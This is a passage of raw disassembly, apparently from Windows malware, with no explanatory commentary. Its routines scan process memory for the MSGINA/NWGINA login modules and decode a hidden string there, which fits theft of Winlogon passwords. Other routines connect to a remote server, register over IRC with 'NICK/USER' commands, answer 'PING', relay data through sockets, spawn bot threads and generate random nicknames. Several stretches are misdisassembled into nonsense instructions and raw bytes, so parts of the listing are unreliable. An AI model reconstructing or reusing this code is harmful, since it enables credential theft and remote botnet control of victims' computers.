; ---------------------------------------------------------------------------


loc_4177EE:				; CODE XREF: sub_4176E9+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_417857
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417804:				; CODE XREF: sub_4176E9+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DC7A
		pop	ecx
		push	eax
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41786B
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DC7A
		pop	ecx
		push	eax
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417849
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_417849:				; CODE XREF: sub_4176E9+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417804


loc_417857:				; CODE XREF: sub_4176E9+10Fj
		test	edi, edi
		jz	short loc_417862
		push	edi
		call	dword_4DA068	; RtlDestroyQueryDebugBuffer


loc_417862:				; CODE XREF: sub_4176E9+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4177D8
; ---------------------------------------------------------------------------


loc_41786B:				; CODE XREF: sub_4176E9+13Cj
		xor	eax, eax
		jmp	loc_4177E6
sub_4176E9	endp

; ---------------------------------------------------------------------------


loc_417872:				; CODE XREF: sub_417517+F1p
		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	dword ptr [ebp+8]
		mov	[ebp-10h], esi
		push	esi
		push	410h
		call	near ptr 0B40000h
		jnp	short near ptr loc_4178C8+1
		mov	byte ptr [ecx+775FC45h], 33h
		shr	cl, 7Bh
		add	[eax], eax
		add	[ebx+57530C45h], cl
		mov	[eax], esi
		lea	eax, [ebp-64h]
		push	eax
		call	dword_427158	; GetSystemInfo
		push	dword ptr [ebp-60h]
		mov	[ebp-8], esi
		mov	esi, dword_42714C
		push	8
		call	esi ; dword_42714C
		mov	edi, dword_427148
		push	eax
		call	edi ; dword_427148
		lea	ecx, [ebp-8]


loc_4178C8:				; CODE XREF: .nsp0:0041788Cj
		mov	ebx, dword_427154
		push	ecx
		mov	[ebp+8], eax
		push	dword ptr [ebp-60h]
		push	eax
		push	7FFDF000h
		push	dword ptr [ebp-4]
		call	ebx ; dword_427154
		test	eax, eax
		jnz	short loc_4178EB
		xor	esi, esi
		jmp	loc_417A09
; ---------------------------------------------------------------------------


loc_4178EB:				; CODE XREF: .nsp0:004178E2j
		lea	eax, [ebp-40h]
		push	1Ch
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [eax+18h]
		push	dword ptr [ebp-4]
		call	dword_427150	; VirtualQueryEx
		test	eax, eax
		jz	loc_4179F8
		mov	ecx, [ebp-30h]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4179F8
		test	byte ptr [ebp-2Bh], 1
		jnz	loc_4179F8
		push	dword ptr [ebp-34h]
		push	8
		call	esi ; dword_42714C
		push	eax
		call	edi ; dword_427148
		mov	edi, eax
		lea	eax, [ebp-8]
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [ebp-34h]
		mov	[ebp-0Ch], edi
		push	edi
		push	dword ptr [eax+18h]
		push	dword ptr [ebp-4]
		call	ebx ; dword_427154
		test	eax, eax
		jz	loc_4179F8


loc_41794E:				; CODE XREF: .nsp0:00417984j
		push	edi
		push	offset dword_4D9060
		call	sub_4265F4
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417976
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D9860
		call	sub_4265F4
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417986


loc_417976:				; CODE XREF: .nsp0:0041795Dj
		mov	eax, [ebp-34h]
		mov	ecx, [ebp-0Ch]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4179F8
		jmp	short loc_41794E
; ---------------------------------------------------------------------------


loc_417986:				; CODE XREF: .nsp0:00417974j
		test	edi, edi
		jz	short loc_4179F8
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	near ptr 0B40000h
		inc	edi
		test	eax, eax
		jz	short loc_4179C1
		lea	eax, [ebp-24h]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		call	near ptr 0B40000h
		aam	85h
		sal	byte ptr [eax+edx-76h],	87h
		sub	al, 4
; ---------------------------------------------------------------------------
		db 2 dup(0), 8Bh
		dd 0E8D10C4Dh, 897FE083h
		db 1
; ---------------------------------------------------------------------------


loc_4179C1:				; CODE XREF: .nsp0:0041799Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4DA284, eax
		mov	eax, [ebp+8]
		mov	dword ptr [ebp-10h], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp-0Ch]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4DA27C, eax
		mov	dword_4DA280, edi


loc_4179F8:				; CODE XREF: .nsp0:00417902j
					; .nsp0:00417914j ...
		push	dword ptr [ebp+8]
		push	0
		call	esi ; dword_42714C
		push	eax
		call	dword_427144	; RtlFreeHeap
		mov	esi, [ebp-10h]


loc_417A09:				; CODE XREF: .nsp0:004178E6j
		push	dword ptr [ebp-4]
		call	dword_42706C	; CloseHandle
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A19	proc near		; CODE XREF: sub_417517:loc_41760Fp

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 0B40000h
		push	eax
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417B0B
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	dword_427158	; GetSystemInfo
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417B02
		mov	edi, dword_42714C


loc_417A64:				; CODE XREF: sub_417A19+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	dword_427150	; VirtualQueryEx
		test	eax, eax
		jz	short loc_417AF0
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_417AF6
		test	[ebp+var_13], 1
		jnz	short loc_417AF6
		push	ecx
		push	8
		call	edi ; dword_42714C
		push	eax
		call	dword_427148	; RtlAllocateHeap
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 0B40000h
		int	85h
		sal	byte ptr [eax+ebp+68h],	60h
		nop
		dec	ebp
		add	[esi-18h], dl
		das
		jmp	short $+2
		add	[ecx-7Bh], bl
		rcr	byte ptr [ecx+75h], 17h
		lea	eax, [esi+400h]
		push	offset dword_4D9860
		push	eax
		call	sub_4265F4
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417B12
		push	esi
		push	0
		call	edi ; dword_42714C
		push	eax
		call	dword_427144	; RtlFreeHeap
		jmp	short loc_417AF6
; ---------------------------------------------------------------------------


loc_417AF0:				; CODE XREF: sub_417A19+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_417AF6:				; CODE XREF: sub_417A19+71j
					; sub_417A19+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417A64


loc_417B02:				; CODE XREF: sub_417A19+3Fj
		push	[ebp+arg_0]
		call	dword_42706C	; CloseHandle


loc_417B0B:				; CODE XREF: sub_417A19+1Ej
		xor	eax, eax


loc_417B0D:				; CODE XREF: sub_417A19+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417B12:				; CODE XREF: sub_417A19+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4DA27C, ebx
		mov	dword_4DA280, eax
		cmp	[eax], cl
		jnz	short loc_417B34
		cmp	[eax+1], cl
		jz	short loc_417B3C


loc_417B34:				; CODE XREF: sub_417A19+114j
					; sub_417A19+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417B34


loc_417B3C:				; CODE XREF: sub_417A19+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	dword_42706C	; CloseHandle
		push	1
		pop	eax
		jmp	short loc_417B0D
sub_417A19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B4F	proc near		; CODE XREF: sub_417517+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DA278
		push	esi
		mov	esi, dword_42714C
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi ; dword_42714C
		push	eax
		call	dword_427148	; RtlAllocateHeap
		mov	ecx, dword_4DA278
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4DA280
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4DA284
		push	eax
		call	dword_4DA064	; RtlRunDecodeUnicodeString
		push	[ebp+var_4]
		mov	edi, offset dword_4DA070
		push	offset dword_4D9060
		push	offset dword_4D9860
		push	[ebp+arg_0]
		push	offset dword_43FE34
		push	200h
		push	edi
		call	sub_41C030
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi ; dword_42714C
		push	eax
		call	dword_427144	; RtlFreeHeap
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417B4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417BE6	proc near		; CODE XREF: sub_417517:loc_417653p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4DA278
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	dword_42714C	; GetProcessHeap
		push	eax
		call	dword_427148	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D9860
		mov	edi, 200h
		mov	esi, offset dword_4D8E60


loc_417C2C:				; CODE XREF: sub_417BE6+FAj
		mov	eax, dword_4DA278
		add	eax, eax
		push	eax
		push	dword_4DA280
		push	[ebp+var_14]
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4DA064	; RtlRunDecodeUnicodeString
		mov	eax, dword_4DA278
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_417CA1


loc_417C69:				; CODE XREF: sub_417BE6+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417CBE
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417C8D
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417C8D
		cmp	dl, 20h
		jnb	short loc_417C87
		and	[ebp+var_8], 0


loc_417C87:				; CODE XREF: sub_417BE6+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417C91


loc_417C8D:				; CODE XREF: sub_417BE6+90j
					; sub_417BE6+96j
		and	[ebp+var_8], 0


loc_417C91:				; CODE XREF: sub_417BE6+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_417C69
		cmp	[ebp+var_8], 0
		jz	short loc_417CBE


loc_417CA1:				; CODE XREF: sub_417BE6+81j
		push	[ebp+var_14]
		push	offset dword_4D9060
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43FE34
		push	edi
		push	esi
		call	sub_41C030
		add	esp, 1Ch
		jmp	short loc_417CD6
; ---------------------------------------------------------------------------


loc_417CBE:				; CODE XREF: sub_417BE6+87j
					; sub_417BE6+B9j
		push	offset dword_4D9060
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43FE84
		push	edi
		push	esi
		call	sub_41C030
		add	esp, 18h


loc_417CD6:				; CODE XREF: sub_417BE6+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_417C2C
		push	[ebp+var_14]
		push	0
		call	dword_42714C	; GetProcessHeap
		push	eax
		call	dword_427144	; RtlFreeHeap
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417BE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417CFF	proc near		; CODE XREF: sub_417EC3+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4D1270	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_417D7B
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4D11F0	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4D1230	; inet_addr
		cmp	eax, esi
		jnz	short loc_417D60
		push	[ebp+arg_0]
		call	dword_4D1274	; gethostbyname
		test	eax, eax
		jz	short loc_417D7B
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417D60:				; CODE XREF: sub_417CFF+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4D1198	; connect
		cmp	eax, esi
		jnz	short loc_417D7F
		push	edi
		call	dword_4D1288	; closesocket


loc_417D7B:				; CODE XREF: sub_417CFF+1Bj
					; sub_417CFF+58j
		mov	eax, esi
		jmp	short loc_417D81
; ---------------------------------------------------------------------------


loc_417D7F:				; CODE XREF: sub_417CFF+73j
		mov	eax, edi


loc_417D81:				; CODE XREF: sub_417CFF+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417CFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D85	proc near		; CODE XREF: .nsp0:00404D9Ep
					; .nsp0:00404E07p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_430808 ; "\n"
		push	edi
		call	sub_41C560
		pop	ecx
		mov	esi, offset dword_4DA28C
		pop	ecx


loc_417D9D:				; CODE XREF: sub_417D85+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417DBB
		cmp	dword ptr [esi], 0
		jbe	short loc_417DBB
		push	0
		push	edi
		call	sub_41B890
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4D1240	; send


loc_417DBB:				; CODE XREF: sub_417D85+1Cj
					; sub_417D85+21j
		add	esi, 210h
		cmp	esi, offset dword_4E09AC
		jl	short loc_417D9D
		pop	edi
		pop	esi
		retn
sub_417D85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DCC	proc near		; CODE XREF: sub_417EC3+152p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_43368C ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C794
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_417DF1:				; CODE XREF: sub_417DCC+35j
		push	esi
		push	0
		call	sub_41C794
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_417DF1
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_417E19
		cmp	esi, edi
		jnz	short loc_417E19
		push	1
		pop	eax
		jmp	loc_417EBE
; ---------------------------------------------------------------------------


loc_417E19:				; CODE XREF: sub_417DCC+3Fj
					; sub_417DCC+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C710
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417E43
		lea	eax, [ebp+var_220]
		push	offset dword_440A50
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	short loc_417E9D
; ---------------------------------------------------------------------------


loc_417E43:				; CODE XREF: sub_417DCC+5Fj
		push	offset a433	; "433"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417E64
		push	esi
		push	offset dword_440A4C
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417EBC


loc_417E64:				; CODE XREF: sub_417DCC+85j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41BC40
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_4180E3
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_220]
		push	offset dword_440A40
		push	eax
		call	sub_41BF36
		add	esp, 1Ch


loc_417E9D:				; CODE XREF: sub_417DCC+75j
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D1240	; send


loc_417EBC:				; CODE XREF: sub_417DCC+96j
		xor	eax, eax


loc_417EBE:				; CODE XREF: sub_417DCC+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417DCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EC3	proc near		; DATA XREF: sub_418065+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41C1D0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4DA294[esi]
		mov	dword_4DA288[esi], edi
		push	dword_4DA494[esi]
		push	eax
		call	sub_417CFF
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4DA28C[esi], eax
		jb	loc_418045
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41BC40
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4180E3
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_4180E3
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_4180E3
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41BF36
		add	esp, 2Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4DA28C[esi]
		call	dword_4D1240	; send
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch


loc_417F9C:				; CODE XREF: sub_417EC3+10Ej
					; sub_417EC3+17Dj
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4DA28C[esi]
		call	dword_4D1208	; recv
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_418045
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417F9C


loc_417FD3:				; CODE XREF: sub_417EC3+17Bj
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417FFA
		cmp	al, 0Ah
		jz	short loc_417FFA
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417FFA
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_418034
; ---------------------------------------------------------------------------


loc_417FFA:				; CODE XREF: sub_417EC3+119j
					; sub_417EC3+11Dj ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_418034
		push	dword_4DA28C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417DCC
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_418045
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_418034:				; CODE XREF: sub_417EC3+135j
					; sub_417EC3+13Cj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_417FD3
		jmp	loc_417F9C
; ---------------------------------------------------------------------------


loc_418045:				; CODE XREF: sub_417EC3+40j
					; sub_417EC3+104j ...
		mov	dword_4DA288[esi], ebx
		mov	esi, dword_4DA28C[esi]
		cmp	esi, ebx
		jbe	short loc_41805C
		push	esi
		call	dword_4D1288	; closesocket


loc_41805C:				; CODE XREF: sub_417EC3+190j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_417EC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418065	proc near		; CODE XREF: .nsp0:00404CF1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_4180DE


loc_418077:				; CODE XREF: sub_418065+77j
		xor	edi, edi
		mov	eax, offset dword_4DA288


loc_41807E:				; CODE XREF: sub_418065+28j
		cmp	[eax], ebx
		jz	short loc_41808F
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4E09A8
		jl	short loc_41807E


loc_41808F:				; CODE XREF: sub_418065+1Bj
		cmp	edi, 31h
		jz	short loc_4180DE
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4DA294[esi]
		push	eax
		call	sub_41C550
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4DA494[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4DA288[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_417EC3
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_418077


loc_4180DE:				; CODE XREF: sub_418065+10j
					; sub_418065+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418065	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180E3	proc near		; CODE XREF: .nsp0:00405244p
					; .nsp0:00405287p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		call	sub_41BF92
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41CE38
		cmp	eax, 1
		jnz	short loc_41812D
		call	sub_41BF92
		call	sub_41BF92
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	dword ptr loc_4401D7+1[edx*4]
		jmp	short loc_418146
; ---------------------------------------------------------------------------


loc_41812D:				; CODE XREF: sub_4180E3+2Fj
		call	sub_41BF92
		call	sub_41BF92
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_43FED8[edx*4]


loc_418146:				; CODE XREF: sub_4180E3+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C550
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B890
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41CE38
		mov	ebx, eax
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41CE38
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_4181B9
		cmp	esi, 3
		jnz	short loc_4181B0
		cmp	ebx, 1
		jz	short loc_4181B9


loc_4181B0:				; CODE XREF: sub_4180E3+C6j
		cmp	eax, 1
		jnz	loc_418273


loc_4181B9:				; CODE XREF: sub_4180E3+C1j
					; sub_4180E3+CBj
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41CE38
		push	dword ptr loc_4401D7+1[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C550
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41C650
		add	esp, 10h
		test	eax, eax
		jnz	short loc_418260
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C650
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418260
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41CE38
		cmp	eax, 1
		jnz	short loc_418260
		push	edi
		call	sub_41B890
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41CE38
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_418260:				; CODE XREF: sub_4180E3+111j
					; sub_4180E3+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C880
		add	esp, 0Ch


loc_418273:				; CODE XREF: sub_4180E3+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B890
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41DD18
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4184DB
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C650
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4183D2
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41CE38
